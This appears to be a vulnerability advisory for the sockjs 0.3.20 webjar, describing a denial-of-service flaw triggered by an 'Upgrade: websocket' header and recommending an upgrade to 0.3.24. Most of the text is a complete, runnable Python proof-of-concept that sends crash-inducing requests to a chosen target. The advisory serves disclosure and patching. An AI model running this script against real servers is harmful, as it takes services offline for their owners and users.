org.webjars.npm:sockjs@0.3.20 vulnerabilities

org.webjars.npm:sockjs is a JavaScript library (for browsers) that provides a WebSocket-like object.

Affected versions of this package are vulnerable to Denial of Service (DoS). Incorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps.

PoC by Andrew Snow

import requests
import random
import argparse

def main():
  print('SockJS 0.3.19 Denial of Service POC')
  print('For educational purposes only')
  print('Author: @andsnw')
  print('------------')
  parser = argparse.ArgumentParser(description='SockJS 0.3.19 Denial of Service POC')
  parser.add_argument('--target', type=str, help='URL of target running vulnerable sockjs')
  parsed = parser.parse_args()
  target = vars(parsed)['target']
  if target == None:
    parser.print_help()
    exit()

  # Clean trailing /
  if target.endswith('/'):
    target = target[:-1]

  print ("Initiating at: %s" % target)

  # Create sockjs payload
  payloads = [
    ('%s/sockjs/' % target),
    ('%s/sockjs/598/' % target),
    ('%s/sockjs/598/8ko8gkpf/' % target),
  ]

  # Run 3 times with traversion
  for url in payloads:
    payload_url = "%s%s" % (url, random.randint(1000000000000000000,9999999999999999999))
    print('Requesting: %s' % payload_url)
    req = requests.get(url=payload_url, headers={
      'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
      'Cache-Control': 'max-age=0',
      'Accept-Language': 'en-US,en;q=0.5',
      'Connection': 'Upgrade',
      'Upgrade': 'websocket',
    })
    print("Status code: %s" % req.status_code)

  print ("Complete! Check if the container has crashed")

if __name__ == "__main__":
    main()

Upgrade org.webjars.npm:sockjs to version 0.3.24 or higher.